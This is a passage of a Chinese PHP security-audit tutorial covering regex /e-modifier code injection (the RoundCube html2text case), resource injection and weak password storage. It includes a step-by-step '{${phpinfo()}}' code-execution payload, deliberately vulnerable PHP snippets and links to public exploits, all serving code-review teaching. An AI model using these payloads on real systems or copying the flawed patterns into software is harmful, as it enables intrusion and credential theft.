一些PHP CMS或者WEB程序在安装完成后并没有删除安装文件，导致攻击者可以控制其中的数据或者重设管理员密码。

18 – 正则表达式（Regular Expression）漏洞(High):

Regular Expression Injection或者RegEx Injection通过替换正则表达式中的修饰符e而将代码注入到WEB程序中。Perl支持这个修饰符，其它技术包括PCRE(Perl- compatible regular expressions) library。如果该漏洞被使用，其替换内容是可估计的。这种方法很强大，因为它不仅允许使用变量名，而且支持其它命令。

Example (RoundCube Bug):

RoundCube使用了html2text函数，它存在一个评论漏洞：用户输入的数据可被PHP引擎分析并执行。这将导致一些被恶意构造的输入数 据被WEB服务器当作PHP代码来执行。这个漏洞是由于PHP中使用的preg_replace()函数用了’e’ flag而导致的。在正则表达式中使用’e’将允许PHP对输入数据进行处理。例如我们想将小写字符串更改为大写的，可以使用以下代码：

<?php

print preg_replace(‘/(.*)/e’, ‘strtoupper(“\\1″)’, ‘test’);

?>

preg_replace函数允许程序员使用PHP中的strtoupper ()函数去处理输入的字符串，这将导致用户可以输入包含PHP命令的字符串，以致造成不良后果。

利用该漏洞最绝的一招就是将PHP命令伪装成变量来执行它们。在正常的操作中，preg_replace允许用户在变量中传输并替换它们。例如：

<?php

$foo = ‘bar’;

print preg_replace(‘/(.*)/e’, ‘strtoupper(“\\1″)’, ‘$foo’);

?>

将输出预料中的“BAR”。但当使用：

<?php

$foo = ‘bar’;

print preg_replace(‘/(.*)/e’, ‘strtoupper(“\\1″)’, ‘phpinfo()’);

?>

将会简单地输出”PHPINFO()”。为了使PHP引擎去解释命令，我们必须将其分配给一个变量。通常可以简单地使用一个’$'作为分隔符，并用上PHP大括号，于是：

<?php

print ${phpinfo()};

?>

将尽职地输出phpinfo()命令的输出结果。但如果我们将其发送给原先的preg_replace()函数，那么将会发生错误，你会注意到：

<?php

print preg_replace(‘/(.*)/e’, ‘strtoupper(“\\1″)’, ‘${phpinfo()}’);

?>

产生了下列错误：

[Tue Jan 13 09:24:48 2009] [error] [client 192.168.0.50] PHP Fatal error: preg_replace() [<a

href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code:

\nstrtoupper(“${phpinfo()}”) in /var/www/html/exploit.php on line 22

为了避免发生错误，我们需要再添加一个大括号，以执行赋予的命令。更改后的代码如下：

<?php

print preg_replace(‘/(.*)/e’, ‘strtoupper(“\\1″)’, ‘{${phpinfo()}}’);

?>

RoundCube漏洞出现在bin/html2text.sh中的行6中：

$converter = new html2text(html_entity_decode($HTTP_RAW_POST_DATA, ENT_COMPAT, ‘UTF-8′));

攻击实例:

Analysis of the RoundCube html2text Vulnerability

http://www.milw0rm.com/exploits/7549

http://www.securiteam.com/exploits/6W00L0KC0I.html

更多信息：

http://hauser-wenz.de/playground/papers/RegExInjection.pdf

19 – Resource Injection (Medium):

当遇到下面两种情况时资源注入漏洞就发生了:

1. 攻击者可以指定标识符去访问系统资源。

例如攻击者可以指定一个端口号去连接网络资源。

2. 通过指定资源，攻击者可以获得原本并未许可的权限。

例如程序可能会允许攻击者发送敏感信息给第三方服务端。

下面看一看关于此漏洞更为详细的路径操作描述。

Example:下列代码中读取了HTTP request中的hostname，并使用它去连接决定票价的数据库。

<?php

$host=$_GET['host'];

$dbconn = pg_connect(“host=$host port=1234 dbname=ticketdb”);

…

$result = pg_prepare($dbconn, “my_query”, ‘SELECT * FROM pricelist WHER

E name = $1′);

$result = pg_execute($dbconn, “my_query”, array(“ticket”));

?>

这类可被用户的输入数据影响到的资源意味着这类内容存在危险。例如，数据中包含特定的字符，比如句号，斜杆，反斜杆，当使用这种可危害到文件系统的方式时都是存在风险的。同时，包含URL和URI的数据对于创建远程连接也是存在风险的。

攻击实例:

Synthetic Attack [XSS , RI ] :

http://www.milw0rm.com/exploits/7866

20 – 弱口令: (Low)

你必须检查一下：

-          你在数据库中使用未加密的明码。

-          加密密码（例如：MD5），但还不够安全。

-          保存密码在[.txt, .ini, .xml...]等文件中，这些文件都有可能被攻击者读取到。

-          使用弱口令。

例如password.xml（可被攻击者读取）

攻击:

Http://viktim.com/password.xml

<?xml version=”1.0″ ?>

<novo-xml>

<register>

<client-id>test</client-id>

<password>’.$username.’</password>

<user-id>’.$password.’</user-id>

<phone-num>’.$phone.’</phone-num>

<app-id>test</app-id>

<channel>I</channel>

<user-type>upgrade</user-type>

</register>

</novo-xml>

通过 password.xml进行认证：

Login.php

<form method=”post” action=”login.php”>

Username: <input type=”text”>

<br />

Password: <input type=”password”>

<br />

<input type=”submit” value=”Login”>

</form>

<?php

$file = “password.xml”;

$username = $_POST[‘username’];

$password = $_POST[‘password’];

if (file_exists($file))

{

$xml = simplexml_load_file($file);

$count = 0;

foreach($xml->username as $currUser)

{

if (strtolower($currUser) == strtolower($username))

{

break;

}

$count++;

}

if ($xml->active[$count] == 1)

{

if (md5($password) == $xml->password[$count])

{

echo “Valid user logged in!”;

}else{

echo “Password does not match. Come on! Try harder!”;

}

}

else{

echo “User is inactive. Choose another!”;

}

}else{

echo “Critical Error: File not found!”;

}

?>

攻击实例:

Passwords Decrypted for UPB <= 1.9.6:

http://www.securityfocus.com/bid/13975/exploit

Section 2: PHP源码审计自动化( PHP Fuzzer )

1- Codescan PHP[$]:

http://www.codescan.com/

2- Rats [free] :

http://www.fortify.com/security-resources/rats.jsp

3- Pixy [sqli – xss] :

http://pixybox.seclab.tuwien.ac.at/

问题：

本文并未完全涉及PHP源码安全检阅（审计），由于时间仓促，因此对于文中所造成的错误表示抱歉。笔者无法保证，但有可能会发布本文的下一版本，以包含更多高级的方法。

下面是一些可能在下一版本中会被讨论到的内容：

1-      更多的攻击实例

2-      PHPIDS防御

3-      更为危险的函数：CURL – socket – creat_function & ….

4-      讨论一些函数的安全使用

5-      关于PHP安全编程书籍的相关信息

6-      ETC





你可能感兴趣的:(PHP Fuzzing行动——源码审计)

  • 2020-01-25 晴岚85
    郑海燕坚持分享590天2020.1.24在生活中只存在两个问题。一个问题是：你知道想要达成的目标是什么，但却不知道如何才能达成；另一个问题是：你不知道你的目标是什么。前一个是行动的问题，后一个是结果的问题。通过制定具体的下一步行动，可以解决不知道如何开始行动的问题。而通过去想象结果，对结果做预估，可以解决找不着目标的问题。对于所有吸引我们注意力，想要完成的任务，你可以先想象一下，预期的结果究竟是什
  • 店群合一模式下的社区团购新发展——结合链动 2+1 模式、AI 智能名片与 S2B2C 商城小程序源码 说私域 人工智能小程序
    摘要：本文探讨了店群合一的社区团购平台在当今商业环境中的重要性和优势。通过分析店群合一模式如何将互联网社群与线下终端紧密结合，阐述了链动2+1模式、AI智能名片和S2B2C商城小程序源码在这一模式中的应用价值。这些创新元素的结合为社区团购带来了新的机遇，提升了用户信任感、拓展了营销渠道，并实现了线上线下的完美融合。一、引言随着互联网技术的不断发展，社区团购作为一种新兴的商业模式，在满足消费者日常需
  • 第四天旅游线路预览——从换乘中心到喀纳斯湖 陟彼高冈yu 基于Googleearthstudio的旅游规划和预览旅游
    第四天：从贾登峪到喀纳斯风景区入口，晚上住宿贾登峪；换乘中心有4路车，喀纳斯①号车，去喀纳斯湖，路程时长约5分钟；将上面的的行程安排进行动态展示，具体步骤见”Googleearthstudio进行动态轨迹显示制作过程“、“Googleearthstudio入门教程”和“Googleearthstudio进阶教程“相关内容，得到行程如下所示：Day4-2-480p
  • PHP环境搭建详细教程 好看资源平台 前端php
    PHP是一个流行的服务器端脚本语言，广泛用于Web开发。为了使PHP能够在本地或服务器上运行，我们需要搭建一个合适的PHP环境。本教程将结合最新资料，介绍在不同操作系统上搭建PHP开发环境的多种方法，包括Windows、macOS和Linux系统的安装步骤，以及本地和Docker环境的配置。1.PHP环境搭建概述PHP环境的搭建主要分为以下几类：集成开发环境：例如XAMPP、WAMP、MAMP，这
  • 18-115 一切思考不能有效转化为行动，都TM是扯淡！ 成长时间线
    7月25号写了一篇关于为什么会断更如此严重的反思，然而，之后日更仅仅维持了一周，又出现了这次更严重的现象。从8月2号到昨天8月6号，5天！又是5天没有更文！虽然这次断更时间和上次一样，那为什么说这次更严重？因为上次之后就分析了问题的原因，以及应该如何解决，按理说应该会好转，然而，没过几天严重断更的现象再次出现，想想，经过反思，问题依然没有解决与改变，这让我有些担忧。到底是哪里出了问题，难道我就真的
  • 四章-32-点要素的聚合 彩云飘过
    本文基于腾讯课堂老胡的课《跟我学Openlayers--基础实例详解》做的学习笔记，使用的openlayers5.3.xapi。源码见1032.html，对应的官网示例https://openlayers.org/en/latest/examples/cluster.htmlhttps://openlayers.org/en/latest/examples/earthquake-clusters.
  • DIV+CSS+JavaScript技术制作网页（旅游主题网页设计与制作）云南大理 STU学生网页设计 网页设计期末网页作业html静态网页html5期末大作业网页设计web大作业
    ️精彩专栏推荐作者主页:【进入主页—获取更多源码】web前端期末大作业：【HTML5网页期末作业(1000套)】程序员有趣的告白方式：【HTML七夕情人节表白网页制作(110套)】文章目录二、网站介绍三、网站效果▶️1.视频演示2.图片演示四、网站代码HTML结构代码CSS样式代码五、更多源码二、网站介绍网站布局方面：计划采用目前主流的、能兼容各大主流浏览器、显示效果稳定的浮动网页布局结构。网站程
  • 关于城市旅游的HTML网页设计——(旅游风景云南 5页)HTML+CSS+JavaScript 二挡起步 web前端期末大作业javascripthtmlcss旅游风景
    ⛵源码获取文末联系✈Web前端开发技术描述网页设计题材，DIV+CSS布局制作,HTML+CSS网页设计期末课程大作业|游景点介绍|旅游风景区|家乡介绍|等网站的设计与制作|HTML期末大学生网页设计作业，Web大学生网页HTML：结构CSS：样式在操作方面上运用了html5和css3，采用了div+css结构、表单、超链接、浮动、绝对定位、相对定位、字体样式、引用视频等基础知识JavaScrip
  • libyuv之linux编译 jaronho Linuxlinux运维服务器
    文章目录一、下载源码二、编译源码三、注意事项1、银河麒麟系统（aarch64）（1）解决armv8-a+dotprod+i8mm指令集支持问题（2）解决armv9-a+sve2指令集支持问题一、下载源码到GitHub网站下载https://github.com/lemenkov/libyuv源码，或者用直接用git克隆到本地，如：gitclonehttps://github.com/lemenko
  • 2018-07-20 韻梅
    念亲爱的好感谢亲爱的每天照顾我们！因为有你我们心里踏实！念儿子的好儿子感谢你昨晚为我们煎手抓饼，让我们感到你满满的爱与幸福:你煎的与外边买的没有区别，也是脆脆的金黄黄的！我也不担心你的温饱问题，因为你能自己做简单的点心啊！儿子已经长大了，妈妈可要享福了咯！儿子加油！只要你敢想敢行动定能会成功的！
  • 晨语问安2022年7月6日 求索大伟
    『晨语问安7.6』不追悔昨日，不将就今天，不妄想未来。只要踏踏实实老老实实把今天做到、做实、做好，即使没有显著成绩，也要无怨无悔走实当下。昨日工作生活对也好错也好，都已经成为了过去，作用就是汲取营养，让自我更好地行走当下；未来即使再美好，也是空中楼阁，起到的是启明引领的作用，能否成为现实取决于当下的行动；今天不仅是空间上的承前启后，更重大的作用让梦想成真同时，也让自己行动更有针对性、思维更加犀利，
  • 大都会资本BMAN的2018年终总结 非线性思考
    1投资的本质是认知变现赚钱=足够的认知*高效的的变现。2投资的三大基石策略:提升认知高效变现知行合一3如果你亏钱了要么是认知的问题，要么是变现的问题，要么而是知行合一的问题。4投资需要知行合一，很简单的道理，却拦住了很多高手，是因为认知和行动中间还隔着人性。顶级的高手能把自己从贪嗔痴中抽离出来，顶级高手没有人性，只有原则。5如果你玩的是空气币，就不要幻想拿着它改变世界，那是你套出了幻觉，眼光放短一
  • ArrayList 源码解析 程序猿进阶 Java基础ArrayListListjava面试性能优化架构设计idea
    ArrayList是Java集合框架中的一个动态数组实现，提供了可变大小的数组功能。它继承自AbstractList并实现了List接口，是顺序容器，即元素存放的数据与放进去的顺序相同，允许放入null元素，底层通过数组实现。除该类未实现同步外，其余跟Vector大致相同。每个ArrayList都有一个容量capacity，表示底层数组的实际大小，容器内存储元素的个数不能多于当前容量。当向容器中添
  • Python神器！WEB自动化测试集成工具 DrissionPage 亚丁号 python开发语言
    一、前言用requests做数据采集面对要登录的网站时，要分析数据包、JS源码，构造复杂的请求，往往还要应付验证码、JS混淆、签名参数等反爬手段，门槛较高。若数据是由JS计算生成的，还须重现计算过程，体验不好，开发效率不高。使用浏览器，可以很大程度上绕过这些坑，但浏览器运行效率不高。因此，这个库设计初衷，是将它们合而为一，能够在不同须要时切换相应模式，并提供一种人性化的使用方法，提高开发和运行效率
  • 如何用matlab灵活控制feko的求解 NingrLi matlab开发语言
    https://bbs.rfeda.cn/read.php?tid=3778Feko中的模型和求解设置等都可以通过editfeko进行设置，其文件存储为.pre文件，该文件可以用文本打开，因此，我们可以通过VB、VC、matlab等工具对.pre文件进行读写操作，以达到更灵活的使用feko。同样，对于.out文件，我们也可以进行读操作。熟练使用对.pre文件和.out文件的操作后，我们可以方便的计
  • 阅读《认知觉醒》读书笔记 就看看书
    本周阅读了周岭的《认知觉醒开启自我改变的原动力》，启发较多，故做读书笔记一则，留待学习。全书共八章，讲述了大脑、潜意识、元认知、专注力、学习力、行动力、情绪力及成本最低的成长之道。具体描述了大脑、焦虑、耐心、模糊、感性、元认知、自控力、专注力、情绪专注、学习专注、匹配、深度、关联、体系、打卡、反馈、休息、清晰、傻瓜、行动、心智宽带、单一视角、游戏心态、早起、冥想、阅读、写作、运动等相关知识点。大脑
  • 笋丁网页自动回复机器人V3.0.0免授权版源码 希希分享 软希网58soho_cn源码资源笋丁网页自动回复机器人
    笋丁网页机器人一款可设置自动回复，默认消息，调用自定义api接口的网页机器人。此程序后端语言使用Golang，内存占用最高不超过30MB，1H1G服务器流畅运行。仅支持Linux服务器部署，不支持虚拟主机，请悉知！使用自定义api功能需要有一定的建站基础。源码下载：https://download.csdn.net/download/m0_66047725/89754250更多资源下载：关注我。安
  • ESP32-C3入门教程 网络篇⑩——基于esp_https_ota和MQTT实现开机主动升级和被动触发升级的OTA功能 小康师兄 ESP32-C3入门教程https服务器esp32OTAMQTT
    文章目录一、前言二、软件流程三、部分源码四、运行演示一、前言本文基于VSCodeIDE进行编程、编译、下载、运行等操作基础入门章节请查阅：ESP32-C3入门教程基础篇①——基于VSCode构建HelloWorld教程目录大纲请查阅：ESP32-C3入门教程——导读ESP32-C3入门教程网络篇⑨——基于esp_https_ota实现史上最简单的ESP32OTA远程固件升级功能二、软件流程
  • 项目：事半功倍的法宝 小小效能
    行动的三大流程：记录、排程和执行，也讲了易效能的4D原则以及T-step标签法。这些流程和方法能够解决我们眼前的一地鸡毛，让我们有更多时间和精力去关注更为长远的事情，完成工作、生活和人生中重要的项目。项目管理能够让我们围绕结果去做事情，达成事半功倍的效果，也就是做更少的事情，但达成更好的效果。如果我们能够不断地达成一个又一个的项目，那么我们的人生无疑会像滚雪球一样，在长坡道上面不断积累。一、项目的
  • 日记 2019年10月15日 杨义博 c487bb976552
    今天是我穿校服的第一天，我很激动，我觉得我正式成为了一名一年级的小学生。中午回家时，我们看向操场发现有些高年级的大哥哥们在一个一个摆这一个有很多种颜色的龙，我们觉得很酷。下午上体育课，体育老师带我们上操场上去跑了一圈，我们看见了高年级哥哥姐姐们在操场上打鼓，还有一个大哥哥从前面拿着一个戴着星星的拐杖，指挥着全队的行动，最后面还有拿着花圈的，还有拿着国旗的。
  • 【Python搞定车载自动化测试】——Python实现车载以太网DoIP刷写（含Python源码） 疯狂的机器人 Python搞定车载自动化pythonDoIPUDSISO142291SO13400Bootloadertcp/ip
    系列文章目录【Python搞定车载自动化测试】系列文章目录汇总文章目录系列文章目录前言一、环境搭建1.软件环境2.硬件环境二、目录结构三、源码展示1.DoIP诊断基础函数方法2.DoIP诊断业务函数方法3.27服务安全解锁4.DoIP自动化刷写四、测试日志1.测试日志五、完整源码链接前言随着智能电动汽车行业的发展，汽车=智能终端+四个轮子，各家车企都推出了各自的OTA升级方案，本章节主要介绍如何使
  • 进销存小程序源码 PHP网络版ERP进销存管理系统 全开源可二开 摸鱼小号 php
    可直接源码搭建部署发布后使用：一、功能模块介绍该系统模板主要有进，销，存三个主要模板功能组成，下面将介绍各模块所对应的功能；进：需要将产品采购入库，自动生成采购明细台账同时关联财务生成付款账单；销：是指对客户的销售订单记录，汇总生成产品销售明细及回款计划；存：库存的日常盘点与统计，库存下限预警、出入库台账、库存位置等。1.进购管理采购订单：采购下单审批→由上级审批通过采购入库；采购入库：货品到货>
  • 计算机毕业设计PHP仓储综合管理系统（源码+程序+VUE+lw+部署） java毕设程序源码王哥 php课程设计vue.js
    该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程。欢迎交流项目运行环境配置：phpStudy+Vscode+Mysql5.7+HBuilderX+Navicat11+Vue+Express。项目技术：原生PHP++Vue等等组成，B/S模式+Vscode管理+前后端分离等等。环境需要1.运行环境：最好是小皮phpstudy最新版，我们在这个版本上开发的。其他版本理论上也可以。2.开发
  • 100天持续行动—Day01 Richard_DL
    今天开始站着学习，发现效率大幅提升。把fast.ai的Lesson1的后半部分和Lesson2看完了。由于Keras版本和视频中的不一致，运行notebook时经常出现莫名其妙的错误，导致自己只动手实践了视频中的一小部分内容。为了赶时间，我打算先把与CNN相关的视频过一遍。然后尽快开始做自己的项目。明天继续加油，争取把Lesson3和Lesson4看完。
  • 勇于开始，才能找到成功的路 胡涂涂tutu
    图片发自App真正做一件事，讨论细节，才发现自己对咨询了解的太少，很多地方模糊，甚至陌生。我有点慌乱，开始怀疑自己的决定。我怕自己不能很好的给来访者做咨询，误了他们的期待，更毁了自己将来前进的路。幸好得到恩师朱老师的支持与赋能。我说感觉没准备好，老师说都是在跌跌撞撞中磨练，积累经验的，没完全准备好，可以边做边调整。做任何事，都有第一次，都会感觉没准备好。那什么是准备好了呢？只有去做才会知道。行动能
  • 学写作的第四天 石声藤
    第四节如何坚持长期写下去？①摘要学好写作，重要的是持续性。如何坚持，就从淡化“坚持”这个词开始。做很多事，根本不是用坚持来驱动的，而是你清晰的认识，这件事很重要，你才坚持。②从本质认识写作的重要性意识决定人的行动。如果你从本质认识到某件事的重要性，即使没人逼你，你也会去坚持做，比如赚钱。认识写作的重要性，不认识，重新多学几遍第一节。③要让自己不断从写作中收益一件事能不断给你带来回报，是驱动你坚持做
  • 感恩日记Day 236 E姐小酒窝
    图片发自App1.感谢16愿意听我"唠叨"，人与人的信任和托付在此刻弥足珍贵珍贵；2.感谢到家就能吃上美味的中餐，辛苦妞爸；3.感谢妞中午愿意听我叼叼旅行中的事儿；4.感谢星巴克就在家附近，让我一杯回魂；5.感谢美妞总结我和爸爸优点并说两者揉和就很棒了。6.感谢看到妞第一天数学成绩后淡定的自己；将责任归回妞自己并总结行动。7.感谢林姐姐信任，又定变啦减脂套餐。8.感谢梅姐知道我旅行回来后约我吃饭；
  • 【大模型应用开发 动手做AI Agent】第一轮行动：工具执行搜索 AI大模型应用之禅 计算科学神经计算深度学习神经网络大数据人工智能大型语言模型AIAGILLMJavaPython架构设计AgentRPA
    【大模型应用开发动手做AIAgent】第一轮行动：工具执行搜索作者：禅与计算机程序设计艺术/ZenandtheArtofComputerProgramming1.背景介绍1.1问题的由来随着人工智能技术的飞速发展，大模型应用开发已经成为当下热门的研究方向。AIAgent作为人工智能领域的一个重要分支，旨在模拟人类智能行为，实现智能决策和自主行动。在AIAgent的构建过程中，工具执行搜索是至关重要
  • 《拖延心理学》（一）你为什么会拖延？|木盒笔记 纯se蓝调
    《拖延心理学》是帮助你向拖延症宣战的一本书，作者简·博克和莱诺拉·袁是全球知名的拖延症治疗专家。大概每个人或多或少总会有一点拖延症的行为。比如明天要叫论文了，今天你还没有写好，你一边在焦虑症怎么办，一边又拿着手机漫无目的的刷新闻；比如你想了很久准备减肥，但是迟迟又没有行动，想着今天晚上少吃一点吧、明天我就开始运动。今天分析的笔记来告诉你“你为什么会拖延？”，解读人杨坚。有人说拖延就像巨大的泥沼，让
  • JVM源码分析之堆外内存完全解读 HeapDump性能社区
    概述广义的堆外内存说到堆外内存，那大家肯定想到堆内内存，这也是我们大家接触最多的，我们在jvm参数里通常设置-Xmx来指定我们的堆的最大值，不过这还不是我们理解的Java堆，-Xmx的值是新生代和老生代的和的最大值，我们在jvm参数里通常还会加一个参数-XX:MaxPermSize来指定持久代的最大值，那么我们认识的Java堆的最大值其实是-Xmx和-XX:MaxPermSize的总和，在分代算法
  • TOMCAT在POST方法提交参数丢失问题 357029540 javatomcatjsp
    摘自http://my.oschina.net/luckyi/blog/213209 昨天在解决一个BUG时发现一个奇怪的问题，一个AJAX提交数据在之前都是木有问题的，突然提交出错影响其他处理流程。 检查时发现页面处理数据较多，起初以为是提交顺序不正确修改后发现不是由此问题引起。于是删除掉一部分数据进行提交，较少数据能够提交成功。 恢复较多数据后跟踪提交FORM DATA ，发现数
  • 在MyEclipse中增加JSP模板 删除-2008-08-18 ljy325 jspxmlMyEclipse
    在D:\Program Files\MyEclipse 6.0\myeclipse\eclipse\plugins\com.genuitec.eclipse.wizards_6.0.1.zmyeclipse601200710\templates\jsp  目录下找到Jsp.vtl，复制一份，重命名为jsp2.vtl,然后把里面的内容修改为自己想要的格式，保存。 然后在 D:\Progr
  • JavaScript常用验证脚本总结 eksliang JavaScriptjavaScript表单验证
         转载请出自出处：http://eksliang.iteye.com/blog/2098985        下面这些验证脚本，是我在这几年开发中的总结，今天把他放出来，也算是一种分享吧，现在在我的项目中也在用！包括日期验证、比较，非空验证、身份证验证、数值验证、Email验证、电话验证等等...! &nb
  • 微软BI（4） 18289753290 微软BI SSIS
    1） Q:查看ssis里面某个控件输出的结果：  A MessageBox.Show(Dts.Variables["v_lastTimestamp"].Value.ToString()); 这是我们在包里面定义的变量 2):在关联目的端表的时候如果是一对多的关系，一定要选择唯一的那个键作为关联字段。 3) Q：ssis里面如果将多个数据源的数据插入目的端一
  • 定时对大数据量的表进行分表对数据备份 酷的飞上天空 大数据量
    工作中遇到数据库中一个表的数据量比较大，属于日志表。正常情况下是不会有查询操作的，但如果不进行分表数据太多，执行一条简单sql语句要等好几分钟。。   分表工具：linux的shell + mysql自身提供的管理命令 原理：使用一个和原表数据结构一样的表，替换原表。   linux shell内容如下： =======================开始 
  • 本质的描述与因材施教 永夜-极光 感想随笔
             不管碰到什么事,我都下意识的想去探索本质,找寻一个最形象的描述方式。        我坚信,世界上对一件事物的描述和解释,肯定有一种最形象,最贴近本质,最容易让人理解        &
  • 很迷茫。。。 随便小屋 随笔
    小弟我今年研一，也是从事的咱们现在最流行的专业（计算机）。本科三流学校，为了能有个更好的跳板，进入了考研大军，非常有幸能进入研究生的行业（具体学校就不说了，怕把学校的名誉给损了）。   先说一下自身的条件，本科专业软件工程。主要学习就是软件开发，几乎和计算机没有什么区别。因为学校本身三流，也就是让老师带着学生学点东西，然后让学生毕业就行了。对专业性的东西了解的非常浅。就那学的语言来说
  • 23种设计模式的意图和适用范围 aijuans 设计模式
    Factory Method 意图 定义一个用于创建对象的接口，让子类决定实例化哪一个类。Factory Method 使一个类的实例化延迟到其子类。 　　适用性 当一个类不知道它所必须创建的对象的类的时候。 　　当一个类希望由它的子类来指定它所创建的对象的时候。 　　当类将创建对象的职责委托给多个帮助子类中的某一个，并且你希望将哪一个帮助子类是代理者这一信息局部化的时候。 Abstr
  • Java中的synchronized和volatile aoyouzi javavolatilesynchronized
    说到Java的线程同步问题肯定要说到两个关键字synchronized和volatile。说到这两个关键字，又要说道JVM的内存模型。JVM里内存分为main memory和working memory。 Main memory是所有线程共享的，working memory则是线程的工作内存，它保存有部分main memory变量的拷贝，对这些变量的更新直接发生在working memo
  • js数组的操作和this关键字 百合不是茶 js数组操作this关键字
    js数组的操作;   一:数组的创建: 1、数组的创建 var array = new Array();　//创建一个数组 var array = new Array([size]);　//创建一个数组并指定长度，注意不是上限，是长度 var arrayObj = new Array([element0[, element1[, ...[, elementN]]]
  • 别人的阿里面试感悟 bijian1013 面试分享工作感悟阿里面试
    原文如下：http://greemranqq.iteye.com/blog/2007170         一直做企业系统，虽然也自己一直学习技术，但是感觉还是有所欠缺，准备花几个月的时间，把互联网的东西，以及一些基础更加的深入透析，结果这次比较意外，有点突然，下面分享一下感受吧！    &nb
  • 淘宝的测试框架Itest Bill_chen springmaven框架单元测试JUnit
    Itest测试框架是TaoBao测试部门开发的一套单元测试框架，以Junit4为核心， 集合DbUnit、Unitils等主流测试框架，应该算是比较好用的了。 近期项目中用了下，有关itest的具体使用如下： 1.在Maven中引入itest框架： <dependency>   <groupId>com.taobao.test</groupId&g
  • 【Java多线程二】多路条件解决生产者消费者问题 bit1129 java多线程
    package com.tom; import java.util.LinkedList; import java.util.Queue; import java.util.concurrent.ThreadLocalRandom; import java.util.concurrent.locks.Condition; import java.util.concurrent.loc
  • 汉字转拼音pinyin4j 白糖_ pinyin4j
    以前在项目中遇到汉字转拼音的情况，于是在网上找到了pinyin4j这个工具包，非常有用，别的不说了，直接下代码：   import java.util.HashSet; import java.util.Set; import net.sourceforge.pinyin4j.PinyinHelper; import net.sourceforge.pinyin
  • org.hibernate.TransactionException: JDBC begin failed解决方案 bozch ssh数据库异常DBCP
    org.hibernate.TransactionException: JDBC begin failed:     at org.hibernate.transaction.JDBCTransaction.begin(JDBCTransaction.java:68)    at org.hibernate.impl.SessionImp
  • java-并查集（Disjoint-set）-将多个集合合并成没有交集的集合 bylijinnan java
    import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.List; import java.util.Map; import java.ut
  • Java PrintWriter打印乱码 chenbowen00 java
    一个小程序读写文件，发现PrintWriter输出后文件存在乱码，解决办法主要统一输入输出流编码格式。 读文件： BufferedReader 从字符输入流中读取文本，缓冲各个字符，从而提供字符、数组和行的高效读取。 可以指定缓冲区的大小，或者可使用默认的大小。大多数情况下，默认值就足够大了。 通常，Reader 所作的每个读取请求都会导致对基础字符或字节流进行相应的读取请求。因
  • [天气与气候]极端气候环境 comsci 环境
          如果空间环境出现异变...外星文明并未出现,而只是用某种气象武器对地球的气候系统进行攻击,并挑唆地球国家间的战争,经过一段时间的准备...最大限度的削弱地球文明的整体力量,然后再进行入侵......      那么地球上的国家应该做什么样的防备工作呢?  &n
  • oracle order by与union一起使用的用法 daizj UNIONoracleorder by
    当使用union操作时，排序语句必须放在最后面才正确，如下： 只能在union的最后一个子查询中使用order by，而这个order by是针对整个unioning后的结果集的。So： 如果unoin的几个子查询列名不同，如 Sql代码  select supplier_id, supplier_name  from suppliers  UNI
  • zeus持久层读写分离单元测试 deng520159 单元测试
    本文是zeus读写分离单元测试,距离分库分表,只有一步了.上代码: 1.ZeusMasterSlaveTest.java package com.dengliang.zeus.webdemo.test; import java.util.ArrayList; import java.util.List; import org.junit.Assert; import org.j
  • Yii 截取字符串(UTF-8) 使用组件 dcj3sjt126com yii
    1.将Helper.php放进protected\components文件夹下。 2.调用方法：   Helper::truncate_utf8_string($content,20,false);   //不显示省略号  Helper::truncate_utf8_string($content,20);  //显示省略号  &n
  • 安装memcache及php扩展 dcj3sjt126com PHP
    安装memcache    tar zxvf memcache-2.2.5.tgz     cd memcache-2.2.5/     /usr/local/php/bin/phpize (?)    ./configure --with-php-confi
  • JsonObject 处理日期 feifeilinlin521 javajsonJsonOjbectJsonArrayJSONException
        写这边文章的初衷就是遇到了json在转换日期格式出现了异常 net.sf.json.JSONException: java.lang.reflect.InvocationTargetException  原因是当你用Map接收数据库返回了java.sql.Date 日期的数据进行json转换出的问题话不多说  直接上代码  &n
  • Ehcache（06）——监听器 234390216 监听器listenerehcache
    监听器          Ehcache中监听器有两种，监听CacheManager的CacheManagerEventListener和监听Cache的CacheEventListener。在Ehcache中，Listener是通过对应的监听器工厂来生产和发生作用的。下面我们将来介绍一下这两种类型的监听器。  
  • activiti 自带设计器中chrome 34版本不能打开bug的解决 jackyrong Activiti
      在acitivti modeler中，如果是chrome 34，则不能打开该设计器，其他浏览器可以， 经证实为bug，参考 http://forums.activiti.org/content/activiti-modeler-doesnt-work-chrome-v34 修改为，找到 oryx.debug.js 在最头部增加 if (!Document.
  • 微信收货地址共享接口-终极解决 laotu5i0 微信开发
       最近要接入微信的收货地址共享接口，总是不成功，折腾了好几天，实在没办法网上搜到的帖子也是骂声一片。我把我碰到并解决问题的过程分享出来，希望能给微信的接口文档起到一个辅助作用，让后面进来的开发者能快速的接入，而不需要像我们一样苦逼的浪费好几天，甚至一周的青春。各种羞辱、谩骂的话就不说了，本人还算文明。    如果你能搜到本贴，说明你已经碰到了各种 ed
  • 关于人才 netkiller.github.com 工作面试招聘netkiller人才
    关于人才 每个月我都会接到许多猎头的电话，有些猎头比较专业，但绝大多数在我看来与猎头二字还是有很大差距的。 与猎头接触多了，自然也了解了他们的工作，包括操作手法，总体上国内的猎头行业还处在初级阶段。 总结就是“盲目推荐，以量取胜”。 目前现状 许多从事人力资源工作的人，根本不懂得怎么找人才。处在人才找不到企业，企业找不到人才的尴尬处境。 企业招聘，通常是需要用人的部门提出招聘条件，由人
  • 搭建 CentOS 6 服务器 - 目录 rensanning centos
    (1) 安装CentOS ISO（desktop/minimal）、Cloud（AWS/阿里云）、Virtualization（VMWare、VirtualBox） 详细内容 (2) Linux常用命令 cd、ls、rm、chmod...... 详细内容 (3) 初始环境设置 用户管理、网络设置、安全设置...... 详细内容 (4) 常驻服务Daemon
  • 【求助】mongoDB无法更新主键 toknowme mongodb
      Query query = new Query();          query.addCriteria(new Criteria("_id").is(o.getId()));                &n
  • jquery 页面滚动到底部自动加载插件集合 xp9802 jquery
    很多社交网站都使用无限滚动的翻页技术来提高用户体验，当你页面滑到列表底部时候无需点击就自动加载更多的内容。下面为你推荐 10 个 jQuery 的无限滚动的插件： 1. jQuery ScrollPagination jQuery ScrollPagination plugin 是一个 jQuery 实现的支持无限滚动加载数据的插件。 2. jQuery Screw S
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他